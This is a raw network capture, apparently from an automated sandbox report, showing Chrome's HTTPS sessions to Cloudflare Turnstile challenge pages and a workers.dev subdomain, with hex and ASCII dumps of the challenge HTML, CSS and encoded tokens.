2024-04-25 18:36:33 UTC	786	IN	Data Raw: 3c 21 64 6f 63 74 79 70 65 20 68 74 6d 6c 3e 3c 68 74 6d 6c 20 6c 61 6e 67 3d 65 6e 2d 55 53 3e 3c 68 65 61 64 3e 20 3c 73 63 72 69 70 74 20 61 73 79 6e 63 20 64 65 66 65 72 20 73 72 63 3d 22 68 74 74 70 73 3a 2f 2f 63 68 61 6c 6c 65 6e 67 65 73 2e 63 6c 6f 75 64 66 6c 61 72 65 2e 63 6f 6d 2f 74 75 72 6e 73 74 69 6c 65 2f 76 30 2f 61 70 69 2e 6a 73 3f 6f 6e 6c 6f 61 64 3d 6f 6e 6c 6f 61 64 54 75 72 6e 73 74 69 6c 65 43 61 6c 6c 62 61 63 6b 22 3e 3c 2f 73 63 72 69 70 74 3e 20 3c 74 69 74 6c 65 3e 4a 75 73 74 20 61 20 6d 6f 6d 65 6e 74 2e 2e 2e 3c 2f 74 69 74 6c 65 3e 20 3c 6d 65 74 61 20 63 6f 6e 74 65 6e 74 3d 22 77 69 64 74 68 3d 64 65 76 69 63 65 2d 77 69 64 74 68 2c 69 6e 69 74 69 61 6c 2d 73 63 61 6c 65 3d 31 22 20 6e 61 6d 65 3d 76 69 65 77 70 6f 72 Data Ascii: <!doctype html><html lang=en-US><head> <script async defer src="https://challenges.cloudflare.com/turnstile/v0/api.js?onload=onloadTurnstileCallback"></script> <title>Just a moment...</title> <meta content="width=device-width,initial-scale=1" name=viewpor
2024-04-25 18:36:33 UTC	1369	IN	Data Raw: 65 20 55 49 2c 52 6f 62 6f 74 6f 2c 48 65 6c 76 65 74 69 63 61 20 4e 65 75 65 2c 41 72 69 61 6c 2c 4e 6f 74 6f 20 53 61 6e 73 2c 73 61 6e 73 2d 73 65 72 69 66 2c 41 70 70 6c 65 20 43 6f 6c 6f 72 20 45 6d 6f 6a 69 2c 53 65 67 6f 65 20 55 49 20 45 6d 6f 6a 69 2c 53 65 67 6f 65 20 55 49 20 53 79 6d 62 6f 6c 2c 4e 6f 74 6f 20 43 6f 6c 6f 72 20 45 6d 6f 6a 69 7d 62 6f 64 79 7b 64 69 73 70 6c 61 79 3a 66 6c 65 78 3b 66 6c 65 78 2d 64 69 72 65 63 74 69 6f 6e 3a 63 6f 6c 75 6d 6e 3b 6d 69 6e 2d 68 65 69 67 68 74 3a 31 30 30 76 68 7d 61 7b 74 72 61 6e 73 69 74 69 6f 6e 3a 63 6f 6c 6f 72 20 2e 31 35 73 3b 62 61 63 6b 67 72 6f 75 6e 64 2d 63 6f 6c 6f 72 3a 74 72 61 6e 73 70 61 72 65 6e 74 3b 74 65 78 74 2d 64 65 63 6f 72 61 74 69 6f 6e 3a 6e 6f 6e 65 3b 63 6f 6c 6f Data Ascii: e UI,Roboto,Helvetica Neue,Arial,Noto Sans,sans-serif,Apple Color Emoji,Segoe UI Emoji,Segoe UI Symbol,Noto Color Emoji}body{display:flex;flex-direction:column;min-height:100vh}a{transition:color .15s;background-color:transparent;text-decoration:none;colo
2024-04-25 18:36:33 UTC	1100	IN	Data Raw: 74 74 6f 6d 3a 31 72 65 6d 7d 7d 40 6b 65 79 66 72 61 6d 65 73 20 6c 64 73 2d 72 69 6e 67 7b 30 25 7b 74 72 61 6e 73 66 6f 72 6d 3a 72 6f 74 61 74 65 28 30 29 7d 74 6f 7b 74 72 61 6e 73 66 6f 72 6d 3a 72 6f 74 61 74 65 28 33 36 30 64 65 67 29 7d 7d 40 6d 65 64 69 61 20 73 63 72 65 65 6e 20 61 6e 64 20 28 2d 6d 73 2d 68 69 67 68 2d 63 6f 6e 74 72 61 73 74 3a 61 63 74 69 76 65 29 2c 73 63 72 65 65 6e 20 61 6e 64 20 28 2d 6d 73 2d 68 69 67 68 2d 63 6f 6e 74 72 61 73 74 3a 6e 6f 6e 65 29 7b 2e 6d 61 69 6e 2d 77 72 61 70 70 65 72 2c 62 6f 64 79 7b 64 69 73 70 6c 61 79 3a 62 6c 6f 63 6b 7d 7d 40 6d 65 64 69 61 20 28 70 72 65 66 65 72 73 2d 63 6f 6c 6f 72 2d 73 63 68 65 6d 65 3a 64 61 72 6b 29 7b 62 6f 64 79 7b 62 61 63 6b 67 72 6f 75 6e 64 2d 63 6f 6c 6f 72 3a Data Ascii: ttom:1rem}}@keyframes lds-ring{0%{transform:rotate(0)}to{transform:rotate(360deg)}}@media screen and (-ms-high-contrast:active),screen and (-ms-high-contrast:none){.main-wrapper,body{display:block}}@media (prefers-color-scheme:dark){body{background-color:

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
17	192.168.2.7	49728	104.17.3.184	443	5428	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-04-25 18:36:34 UTC	916	OUT	POST /cdn-cgi/challenge-platform/h/b/flow/ov1/1935405516:1714065931:t7UA0pVTL6V2Jf48bQbvuNIHTwJO0HvkWjeoYHQTOqc/87a07069393b53b7/b3f22530d2b9a73 HTTP/1.1 Host: challenges.cloudflare.com Connection: keep-alive Content-Length: 2808 sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" Content-type: application/x-www-form-urlencoded sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 CF-Challenge: b3f22530d2b9a73 sec-ch-ua-platform: "Windows" Accept: / Origin: https://challenges.cloudflare.com Sec-Fetch-Site: same-origin Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Referer: https://challenges.cloudflare.com/cdn-cgi/challenge-platform/h/b/turnstile/if/ov2/av0/rcv0/0/fyhsf/0x4AAAAAAAYN4FOeSmqG7_zc/auto/normal Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-04-25 18:36:34 UTC	2808	OUT	Data Raw: 76 5f 38 37 61 30 37 30 36 39 33 39 33 62 35 33 62 37 3d 32 61 30 75 72 75 73 75 69 75 31 75 53 66 47 46 66 47 4d 75 66 59 39 67 53 37 66 65 47 53 47 6b 57 59 51 44 70 47 4a 74 47 30 70 65 63 78 33 47 65 70 53 35 78 65 71 74 68 75 51 75 53 67 78 38 39 6f 58 47 78 35 77 47 4a 59 39 66 47 71 2d 67 78 42 47 38 75 78 42 47 55 59 39 50 49 73 67 75 47 35 51 47 51 30 70 47 4c 4c 6e 75 24 47 31 74 4c 37 6e 36 47 63 70 78 38 47 32 77 79 63 58 43 68 75 39 24 49 51 68 6c 6a 47 47 79 39 77 75 58 34 47 65 43 65 30 4a 65 6e 63 78 30 6f 37 36 4d 63 51 47 47 49 75 79 68 4c 47 55 69 78 72 2d 24 61 47 71 71 4c 49 75 47 4c 44 24 4c 75 67 47 66 34 6d 39 75 47 74 75 78 73 65 4c 4c 4e 57 75 78 34 64 78 30 47 63 44 24 47 42 44 36 4d 5a 32 56 71 4f 30 54 49 47 78 24 47 44 44 7a Data Ascii: v_87a07069393b53b7=2a0urusuiu1uSfGFfGMufY9gS7feGSGkWYQDpGJtG0pecx3GepS5xeqthuQuSgx89oXGx5wGJY9fGq-gxBG8uxBGUY9PIsguG5QGQ0pGLLnu$G1tL7n6Gcpx8G2wycXChu9$IQhljGGy9wuX4GeCe0Jencx0o76McQGGIuyhLGUixr-$aGqqLIuGLD$LugGf4m9uGtuxseLLNWux4dx0GcD$GBD6MZ2VqO0TIGx$GDDz
2024-04-25 18:36:34 UTC	714	IN	HTTP/1.1 200 OK Date: Thu, 25 Apr 2024 18:36:34 GMT Content-Type: text/plain; charset=UTF-8 Transfer-Encoding: chunked Connection: close cf-chl-gen: Tf1nKKrnv32bjbHPLrOvokmr8tRrmep2yMyfmG8KWXv6muN/jLxT/MNOgnJKyMeHdWFgeu76QsDkctximfRUS0CxeZIIv0Kh7b503OtYsBMM6pE8W7IqKL3pPSpOtb95vZwENTTN1U+wlJH1Gv5HTABX70E/8OyloBamHerPEdfErgilt2VpFg6e9aXfqABDigtvpDUAQ65raNTEkC1tVZp+qAdHvErwgOiBA9ZKaEuCtWzPjgEilFrNKzEAuyES8fSKYWjrw7c84ihf7k6l8W7lM4j7459mjsRbE6kOtmVd9cq+qXs2l5i0p/rDWh7f3IwO7J024XLSGunqhZvEESqUCGU4V+R4sGCt8JS8VyFfyJOU9NBemNJTylGgPrKiMu74HFiegQIiCoxtpnKfdnZPpRbsmO+6tIMHcx+DzdE=$6ZWLKUupevWfhpPKa8H1CA== vary: accept-encoding Server: cloudflare CF-RAY: 87a070790986ad9a-ATL alt-svc: h3=":443"; ma=86400
2024-04-25 18:36:34 UTC	655	IN	Data Raw: 34 66 37 0d 0a 57 47 4a 37 61 6c 35 39 58 30 4e 61 57 34 5a 55 6a 30 35 52 61 5a 46 74 62 6f 61 52 67 4b 43 54 67 33 56 30 5a 5a 4a 37 67 33 61 69 61 6e 36 69 6a 48 79 4b 65 6d 79 55 70 49 36 6b 63 72 53 4e 70 71 53 6f 64 4c 75 49 65 4b 4b 36 67 48 61 6b 77 59 47 33 67 4b 43 48 68 71 79 6f 6d 38 2b 6b 71 4a 2f 54 71 71 2f 55 73 4a 54 50 78 74 62 48 75 4b 75 30 79 37 79 77 73 62 71 31 73 2b 61 6c 76 39 6a 45 70 2b 50 61 33 75 76 4c 71 72 54 44 30 4d 4c 58 73 4e 44 79 74 74 33 5a 38 64 44 75 30 2f 58 54 76 73 62 53 2f 50 54 44 2b 2b 6e 66 34 2b 76 34 32 76 33 6f 35 2b 37 6a 39 52 55 44 42 4e 45 4d 31 74 76 58 37 52 72 61 44 75 4d 6c 4a 78 59 54 46 2f 67 62 46 78 6a 39 43 53 67 4d 41 43 4d 52 4c 2f 54 30 39 2f 51 32 46 6a 67 58 4a 7a 77 4b 4b 79 38 73 44 52 Data Ascii: 4f7WGJ7al59X0NaW4ZUj05RaZFtboaRgKCTg3V0ZZJ7g3aian6ijHyKemyUpI6kcrSNpqSodLuIeKK6gHakwYG3gKCHhqyom8+kqJ/Tqq/UsJTPxtbHuKu0y7ywsbq1s+alv9jEp+Pa3uvLqrTD0MLXsNDytt3Z8dDu0/XTvsbS/PTD++nf4+v42v3o5+7j9RUDBNEM1tvX7RraDuMlJxYTF/gbFxj9CSgMACMRL/T09/Q2FjgXJzwKKy8sDR
2024-04-25 18:36:34 UTC	623	IN	Data Raw: 4a 78 58 6b 64 30 61 31 49 78 56 47 30 39 53 6e 70 54 65 54 32 43 50 6b 46 36 57 45 68 30 5a 46 64 57 57 58 70 58 6a 70 43 41 59 48 46 65 66 6e 68 78 6a 33 70 71 61 56 64 72 6e 31 4b 4e 57 58 47 56 63 61 4e 79 66 34 5a 31 58 61 47 65 6d 33 79 63 73 59 69 48 6c 61 46 2b 72 62 6d 6a 6b 5a 47 74 70 70 32 4e 73 34 75 52 73 63 42 38 70 63 53 63 76 36 61 6f 69 71 79 49 68 72 32 73 69 59 57 50 6b 36 4c 41 77 72 48 54 73 4c 75 73 72 37 36 2f 76 2b 4c 52 33 37 75 30 76 4e 66 67 32 38 61 39 70 72 65 36 6f 75 79 37 35 4f 6a 69 77 4f 6a 58 78 4d 4c 73 74 62 76 47 38 4c 72 36 79 76 53 2b 37 73 37 34 77 39 7a 53 2f 4d 62 4c 31 67 48 4d 35 4e 6f 46 7a 39 50 65 43 64 51 53 35 4e 63 4b 37 75 6b 52 38 66 34 55 38 65 7a 31 2f 50 6e 37 49 77 51 56 36 79 49 77 2b 77 63 6e 4d Data Ascii: JxXkd0a1IxVG09SnpTeT2CPkF6WEh0ZFdWWXpXjpCAYHFefnhxj3pqaVdrn1KNWXGVcaNyf4Z1XaGem3ycsYiHlaF+rbmjkZGtpp2Ns4uRscB8pcScv6aoiqyIhr2siYWPk6LAwrHTsLusr76/v+LR37u0vNfg28a9pre6ouy75OjiwOjXxMLstbvG8Lr6yvS+7s74w9zS/MbL1gHM5NoFz9PeCdQS5NcK7ukR8f4U8ez1/Pn7IwQV6yIw+wcnM
2024-04-25 18:36:34 UTC	1369	IN	Data Raw: 31 62 62 31 0d 0a 52 48 7a 70 45 46 53 4e 42 52 43 4a 44 45 45 51 70 4b 45 67 30 4b 7a 67 68 53 42 5a 53 47 44 30 79 4e 54 4e 42 4e 6a 30 33 52 54 70 46 4f 30 6b 2b 54 54 39 4e 52 44 31 44 55 55 68 46 52 31 56 4c 63 30 74 5a 54 33 74 50 58 56 4d 34 55 32 46 58 51 46 64 6c 57 33 4e 62 61 56 39 37 58 32 31 6a 67 32 4e 78 5a 34 71 49 67 47 4a 54 63 47 57 61 65 32 39 6f 6e 31 74 61 63 6d 31 73 6f 57 57 54 57 6f 6d 45 6f 57 56 6b 72 6d 32 63 62 4b 43 70 6a 4a 5a 76 6a 5a 4b 34 6b 5a 70 31 6e 62 47 67 72 4d 47 36 67 4a 37 46 76 49 53 62 6c 73 71 62 69 38 76 4f 76 63 72 4c 6f 71 79 4c 7a 71 50 57 78 38 32 31 71 37 79 6f 78 36 36 65 33 4e 71 7a 7a 35 37 53 33 64 65 6f 31 71 66 49 31 61 33 6f 72 4c 79 2b 79 4d 50 4e 34 75 61 78 39 76 4f 79 39 4e 61 31 32 62 66 37 Data Ascii: 1bb1RHzpEFSNBRCJDEEQpKEg0KzghSBZSGD0yNTNBNj03RTpFO0k+TT9NRD1DUUhFR1VLc0tZT3tPXVM4U2FXQFdlW3NbaV97X21jg2NxZ4qIgGJTcGWae29on1tacm1soWWTWomEoWVkrm2cbKCpjJZvjZK4kZp1nbGgrMG6gJ7FvISblsqbi8vOvcrLoqyLzqPWx821q7yox66e3Nqzz57S3deo1qfI1a3orLy+yMPN4uax9vOy9Na12bf7
2024-04-25 18:36:34 UTC	1369	IN	Data Raw: 45 2f 47 69 74 41 4f 43 6f 4c 4b 42 31 55 48 79 63 68 53 51 39 61 4b 79 51 37 58 54 45 70 4d 6c 64 43 4b 79 49 63 4f 7a 59 66 53 53 46 71 51 56 74 47 62 56 6b 35 58 6c 78 31 54 56 59 30 56 31 6c 35 61 55 5a 49 62 6e 6c 4e 63 6f 4e 50 55 58 61 47 50 6c 56 36 69 33 31 5a 66 6f 71 42 58 59 4b 4f 62 32 47 47 6b 57 4e 6c 69 70 53 61 56 33 4f 55 66 5a 2b 62 6b 46 56 64 6e 49 36 62 63 6f 43 59 70 59 70 38 6d 6f 64 76 61 36 6d 55 72 37 4b 49 72 62 4f 76 73 4b 65 35 73 34 36 7a 76 62 65 51 66 4d 47 37 6c 5a 58 46 76 35 79 5a 79 63 4f 67 72 4d 75 76 78 35 44 52 79 36 6a 4b 72 5a 57 30 6c 4d 76 51 31 35 62 4e 33 38 48 43 75 73 36 36 78 62 2b 2f 77 73 6e 44 77 73 62 4e 78 71 37 4b 30 63 71 78 7a 74 58 4f 73 4e 4c 5a 30 76 37 57 33 64 61 36 32 75 48 61 76 63 44 46 32 Data Ascii: E/GitAOCoLKB1UHychSQ9aKyQ7XTEpMldCKyIcOzYfSSFqQVtGbVk5Xlx1TVY0V1l5aUZIbnlNcoNPUXaGPlV6i31ZfoqBXYKOb2GGkWNlipSaV3OUfZ+bkFVdnI6bcoCYpYp8modva6mUr7KIrbOvsKe5s46zvbeQfMG7lZXFv5yZycOgrMuvx5DRy6jKrZW0lMvQ15bN38HCus66xb+/wsnDwsbNxq7K0cqxztXOsNLZ0v7W3da62uHavcDF2
2024-04-25 18:36:34 UTC	1369	IN	Data Raw: 4c 48 45 46 4a 55 67 64 56 4e 43 38 77 4f 69 38 6f 4c 7a 73 57 55 57 41 31 50 55 31 46 56 6c 59 6a 50 32 42 4a 61 32 64 63 49 53 6c 6f 55 53 78 56 55 47 46 4c 63 46 5a 4e 4d 55 39 49 66 34 42 54 55 30 79 45 50 46 46 64 68 30 4e 30 53 48 63 2b 69 32 69 45 66 48 43 4c 69 31 46 30 6a 32 70 71 6d 49 35 73 65 70 61 59 6c 6e 36 4b 67 49 53 67 68 4a 70 36 65 6f 61 65 66 6e 71 59 71 4b 61 4f 6b 4b 61 46 73 71 4f 75 71 34 69 4f 67 37 47 46 64 4a 6d 78 6e 4a 2b 65 71 37 6a 43 67 70 57 79 6f 4a 32 4a 75 6f 72 47 68 35 33 4c 6a 63 6e 54 77 35 4c 57 6b 71 2b 33 31 4a 6d 56 7a 5a 2f 56 74 74 50 69 6f 75 4b 6b 70 62 6d 37 32 61 6a 6f 33 4f 6a 71 77 73 37 6d 32 38 4c 55 38 4f 44 49 74 2b 37 6f 79 2f 6e 37 74 62 66 71 37 75 76 4f 33 4e 72 59 77 51 48 56 31 51 73 43 42 77 Data Ascii: LHEFJUgdVNC8wOi8oLzsWUWA1PU1FVlYjP2BJa2dcISloUSxVUGFLcFZNMU9If4BTU0yEPFFdh0N0SHc+i2iEfHCLi1F0j2pqmI5sepaYln6KgISghJp6eoaefnqYqKaOkKaFsqOuq4iOg7GFdJmxnJ+eq7jCgpWyoJ2JuorGh53LjcnTw5LWkq+31JmVzZ/VttPiouKkpbm72ajo3Ojqws7m28LU8ODIt+7oy/n7tbfq7uvO3NrYwQHV1QsCBw
2024-04-25 18:36:34 UTC	1369	IN	Data Raw: 50 30 41 34 54 55 4d 76 4d 46 5a 58 48 56 56 57 4e 46 45 68 56 79 59 6e 58 54 31 58 4e 54 31 74 54 69 5a 4e 4c 47 35 76 62 47 38 70 59 32 35 46 66 45 74 50 53 55 68 36 58 31 42 2b 64 6e 52 58 64 6f 4b 44 57 33 4e 2f 67 46 69 4e 62 46 39 61 54 6d 42 73 6c 55 36 45 6c 70 4f 63 6a 46 56 77 56 32 32 62 58 5a 57 45 65 61 65 5a 66 71 4e 79 59 36 6d 64 65 34 6c 6d 73 62 42 77 68 34 4b 6c 6b 6f 53 72 68 36 52 32 65 5a 4b 2f 74 35 47 57 67 37 6d 33 75 70 79 44 76 6f 58 44 69 73 69 34 6d 4b 58 4e 75 73 76 54 68 38 65 6a 77 4d 4b 71 31 72 6a 64 6e 64 6e 4a 75 4c 62 4e 32 72 76 43 32 4c 6a 55 76 2b 65 70 35 73 72 6a 35 64 2f 7a 38 37 54 74 30 4c 44 6f 36 4c 65 74 36 75 33 6d 73 65 37 71 36 72 58 79 37 2b 36 35 39 76 37 79 76 66 6f 45 39 73 48 2b 43 66 44 4c 2f 41 4d Data Ascii: P0A4TUMvMFZXHVVWNFEhVyYnXT1XNT1tTiZNLG5vbG8pY25FfEtPSUh6X1B+dnRXdoKDW3N/gFiNbF9aTmBslU6ElpOcjFVwV22bXZWEeaeZfqNyY6mde4lmsbBwh4KlkoSrh6R2eZK/t5GWg7m3upyDvoXDisi4mKXNusvTh8ejwMKq1rjdndnJuLbN2rvC2LjUv+ep5srj5d/z87Tt0LDo6Let6u3mse7q6rXy7+659v7yvfoE9sH+CfDL/AM
2024-04-25 18:36:34 UTC	1369	IN	Data Raw: 68 73 70 54 31 6f 66 4c 56 64 4f 51 31 34 61 59 69 63 31 59 30 68 61 53 32 74 6e 55 30 30 75 64 6b 56 4b 52 57 70 36 4d 6b 6c 75 66 33 46 4e 63 6f 4e 66 55 58 61 43 65 56 56 36 68 6d 64 5a 66 6f 6c 62 58 59 4b 4e 6a 6b 5a 31 64 57 61 53 62 58 6c 7a 57 35 71 65 6a 59 71 61 62 35 4a 62 6c 58 4f 6e 5a 32 68 34 6e 48 69 6e 62 47 31 38 62 4b 32 54 68 6f 4b 30 6a 6f 61 76 64 49 36 5a 6b 35 32 4e 6d 4a 62 43 66 4c 4f 30 70 4c 71 6c 73 36 75 61 75 37 65 74 72 4d 2f 47 79 5a 79 39 71 4c 48 56 74 39 6d 6d 6c 72 32 77 33 35 48 58 30 4c 33 6a 6d 72 65 78 77 62 44 49 75 4c 61 2f 36 75 6a 4b 34 50 4c 67 36 64 4f 39 74 64 2f 70 34 2f 58 58 75 4f 66 65 74 66 76 42 2f 65 7a 52 34 4e 37 47 33 38 50 42 39 65 58 67 36 66 66 43 37 75 77 4b 43 51 51 4b 2b 42 45 43 30 52 54 71 Data Ascii: hspT1ofLVdOQ14aYic1Y0haS2tnU00udkVKRWp6Mkluf3FNcoNfUXaCeVV6hmdZfolbXYKNjkZ1dWaSbXlzW5qejYqab5JblXOnZ2h4nHinbG18bK2ThoK0joavdI6Zk52NmJbCfLO0pLqls6uau7etrM/GyZy9qLHVt9mmlr2w35HX0L3jmrexwbDIuLa/6ujK4PLg6dO9td/p4/XXuOfetfvB/ezR4N7G38PB9eXg6ffC7uwKCQQK+BEC0RTq
2024-04-25 18:36:34 UTC	252	IN	Data Raw: 46 62 4e 6c 74 6c 58 7a 67 6b 61 57 4d 39 50 57 31 6e 51 79 78 78 61 30 68 46 64 57 39 4d 57 48 64 62 63 7a 78 39 64 31 52 32 57 55 46 67 51 48 64 38 50 45 5a 34 69 31 31 75 5a 6e 70 6d 63 57 74 72 62 6e 56 76 62 6e 4a 35 63 6c 70 32 66 58 5a 64 65 6f 46 36 58 48 36 46 66 71 71 43 69 59 4a 6d 68 6f 32 47 61 59 71 52 69 33 31 77 63 36 75 6a 70 72 71 46 71 49 6e 41 69 35 4f 4d 73 73 4b 30 6c 63 61 6b 71 61 57 36 67 38 32 62 76 38 37 42 79 71 47 63 71 35 61 6a 6c 63 53 53 6b 72 32 79 75 62 79 77 6e 62 69 76 7a 5a 79 37 33 2b 4c 70 70 73 71 2b 7a 4c 66 64 72 2f 48 75 76 73 79 2f 35 63 72 35 2b 62 62 4f 7a 64 43 31 7a 39 38 41 7a 37 37 57 33 4e 4d 42 39 73 62 53 41 74 62 4d 78 67 7a 71 44 4f 7a 53 30 65 4c 4f 34 41 54 59 44 42 73 4e 32 50 54 6e 0d 0a Data Ascii: FbNltlXzgkaWM9PW1nQyxxa0hFdW9MWHdbczx9d1R2WUFgQHd8PEZ4i11uZnpmcWtrbnVvbnJ5clp2fXZdeoF6XH6FfqqCiYJmho2GaYqRi31wc6ujprqFqInAi5OMssK0lcakqaW6g82bv87ByqGcq5ajlcSSkr2yubywnbivzZy73+Lppsq+zLfdr/Huvsy/5cr5+bbOzdC1z98Az77W3NMB9sbSAtbMxgzqDOzS0eLO4ATYDBsN2PTn
2024-04-25 18:36:34 UTC	1369	IN	Data Raw: 66 33 30 0d 0a 38 64 4d 67 2b 42 59 59 48 2f 4d 6d 2f 52 6f 58 49 77 30 62 42 44 49 70 47 77 59 6f 44 52 41 71 44 67 59 53 38 67 58 39 46 6a 45 62 51 78 49 68 4e 51 46 43 4d 54 59 65 41 69 41 31 43 41 45 77 41 77 77 6b 50 45 6b 56 49 54 51 33 4a 69 55 34 52 53 6c 59 46 31 49 62 59 78 31 56 55 79 51 61 56 31 68 54 48 6c 74 64 56 79 4a 66 59 6c 73 6d 59 31 39 66 4b 6d 64 6b 59 79 35 72 63 32 63 79 62 33 68 72 4e 6e 4e 39 5a 55 42 78 64 34 4d 2b 65 34 5a 72 53 6f 52 6c 65 32 4a 79 68 58 64 58 6d 47 4e 37 57 35 68 6e 66 31 39 64 61 34 4e 6a 58 57 2b 48 5a 71 42 7a 69 32 71 67 64 34 39 75 69 6e 75 54 63 6f 70 2f 6c 33 61 61 67 35 74 36 6e 4b 75 7a 6e 63 43 41 6a 70 46 38 6e 5a 58 43 77 6f 71 5a 7a 4d 75 39 6e 71 75 68 77 61 36 64 6a 4d 61 6b 73 5a 44 43 73 74 Data Ascii: f308dMg+BYYH/Mm/RoXIw0bBDIpGwYoDRAqDgYS8gX9FjEbQxIhNQFCMTYeAiA1CAEwAwwkPEkVITQ3JiU4RSlYF1IbYx1VUyQaV1hTHltdVyJfYlsmY19fKmdkYy5rc2cyb3hrNnN9ZUBxd4M+e4ZrSoRle2JyhXdXmGN7W5hnf19da4NjXW+HZqBzi2qgd49uinuTcop/l3aag5t6nKuzncCAjpF8nZXCwoqZzMu9nquhwa6djMaksZDCst

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
18	192.168.2.7	49729	172.67.154.14	443	5428	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-04-25 18:36:34 UTC	380	OUT	GET /favicon.ico HTTP/1.1 Host: e76abede.df1076c6f7230d3c23de9bcb.workers.dev Connection: keep-alive User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept: / Sec-Fetch-Site: none Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-04-25 18:36:34 UTC	585	IN	HTTP/1.1 200 OK Date: Thu, 25 Apr 2024 18:36:34 GMT Content-Type: text/html;charset=UTF-8 Content-Length: 3255 Connection: close Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=JZxVUfwyNTg5DVggF4InZmwlBvyX0GYeb1I39gH69%2BuM9zfe%2BgHWE1Paxowxy9lBlKlMnM3xCmXBQJgxjdAbnZNGM6Vd8KJmhIkXjlqQ6rLnONJ7p3oI7SnnSGJ7%2Be%2FBX5BlucmvQhO35Oi%2Ft3N1yJwKn0jvwTqwlpqjBWCPWRs%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 87a0707b2ee9adb9-ATL alt-svc: h3=":443"; ma=86400
2024-04-25 18:36:34 UTC	784	IN	Data Raw: 3c 21 64 6f 63 74 79 70 65 20 68 74 6d 6c 3e 3c 68 74 6d 6c 20 6c 61 6e 67 3d 65 6e 2d 55 53 3e 3c 68 65 61 64 3e 20 3c 73 63 72 69 70 74 20 61 73 79 6e 63 20 64 65 66 65 72 20 73 72 63 3d 22 68 74 74 70 73 3a 2f 2f 63 68 61 6c 6c 65 6e 67 65 73 2e 63 6c 6f 75 64 66 6c 61 72 65 2e 63 6f 6d 2f 74 75 72 6e 73 74 69 6c 65 2f 76 30 2f 61 70 69 2e 6a 73 3f 6f 6e 6c 6f 61 64 3d 6f 6e 6c 6f 61 64 54 75 72 6e 73 74 69 6c 65 43 61 6c 6c 62 61 63 6b 22 3e 3c 2f 73 63 72 69 70 74 3e 20 3c 74 69 74 6c 65 3e 4a 75 73 74 20 61 20 6d 6f 6d 65 6e 74 2e 2e 2e 3c 2f 74 69 74 6c 65 3e 20 3c 6d 65 74 61 20 63 6f 6e 74 65 6e 74 3d 22 77 69 64 74 68 3d 64 65 76 69 63 65 2d 77 69 64 74 68 2c 69 6e 69 74 69 61 6c 2d 73 63 61 6c 65 3d 31 22 20 6e 61 6d 65 3d 76 69 65 77 70 6f 72 Data Ascii: <!doctype html><html lang=en-US><head> <script async defer src="https://challenges.cloudflare.com/turnstile/v0/api.js?onload=onloadTurnstileCallback"></script> <title>Just a moment...</title> <meta content="width=device-width,initial-scale=1" name=viewpor
2024-04-25 18:36:34 UTC	1369	IN	Data Raw: 67 6f 65 20 55 49 2c 52 6f 62 6f 74 6f 2c 48 65 6c 76 65 74 69 63 61 20 4e 65 75 65 2c 41 72 69 61 6c 2c 4e 6f 74 6f 20 53 61 6e 73 2c 73 61 6e 73 2d 73 65 72 69 66 2c 41 70 70 6c 65 20 43 6f 6c 6f 72 20 45 6d 6f 6a 69 2c 53 65 67 6f 65 20 55 49 20 45 6d 6f 6a 69 2c 53 65 67 6f 65 20 55 49 20 53 79 6d 62 6f 6c 2c 4e 6f 74 6f 20 43 6f 6c 6f 72 20 45 6d 6f 6a 69 7d 62 6f 64 79 7b 64 69 73 70 6c 61 79 3a 66 6c 65 78 3b 66 6c 65 78 2d 64 69 72 65 63 74 69 6f 6e 3a 63 6f 6c 75 6d 6e 3b 6d 69 6e 2d 68 65 69 67 68 74 3a 31 30 30 76 68 7d 61 7b 74 72 61 6e 73 69 74 69 6f 6e 3a 63 6f 6c 6f 72 20 2e 31 35 73 3b 62 61 63 6b 67 72 6f 75 6e 64 2d 63 6f 6c 6f 72 3a 74 72 61 6e 73 70 61 72 65 6e 74 3b 74 65 78 74 2d 64 65 63 6f 72 61 74 69 6f 6e 3a 6e 6f 6e 65 3b 63 6f Data Ascii: goe UI,Roboto,Helvetica Neue,Arial,Noto Sans,sans-serif,Apple Color Emoji,Segoe UI Emoji,Segoe UI Symbol,Noto Color Emoji}body{display:flex;flex-direction:column;min-height:100vh}a{transition:color .15s;background-color:transparent;text-decoration:none;co
2024-04-25 18:36:34 UTC	1102	IN	Data Raw: 62 6f 74 74 6f 6d 3a 31 72 65 6d 7d 7d 40 6b 65 79 66 72 61 6d 65 73 20 6c 64 73 2d 72 69 6e 67 7b 30 25 7b 74 72 61 6e 73 66 6f 72 6d 3a 72 6f 74 61 74 65 28 30 29 7d 74 6f 7b 74 72 61 6e 73 66 6f 72 6d 3a 72 6f 74 61 74 65 28 33 36 30 64 65 67 29 7d 7d 40 6d 65 64 69 61 20 73 63 72 65 65 6e 20 61 6e 64 20 28 2d 6d 73 2d 68 69 67 68 2d 63 6f 6e 74 72 61 73 74 3a 61 63 74 69 76 65 29 2c 73 63 72 65 65 6e 20 61 6e 64 20 28 2d 6d 73 2d 68 69 67 68 2d 63 6f 6e 74 72 61 73 74 3a 6e 6f 6e 65 29 7b 2e 6d 61 69 6e 2d 77 72 61 70 70 65 72 2c 62 6f 64 79 7b 64 69 73 70 6c 61 79 3a 62 6c 6f 63 6b 7d 7d 40 6d 65 64 69 61 20 28 70 72 65 66 65 72 73 2d 63 6f 6c 6f 72 2d 73 63 68 65 6d 65 3a 64 61 72 6b 29 7b 62 6f 64 79 7b 62 61 63 6b 67 72 6f 75 6e 64 2d 63 6f 6c 6f Data Ascii: bottom:1rem}}@keyframes lds-ring{0%{transform:rotate(0)}to{transform:rotate(360deg)}}@media screen and (-ms-high-contrast:active),screen and 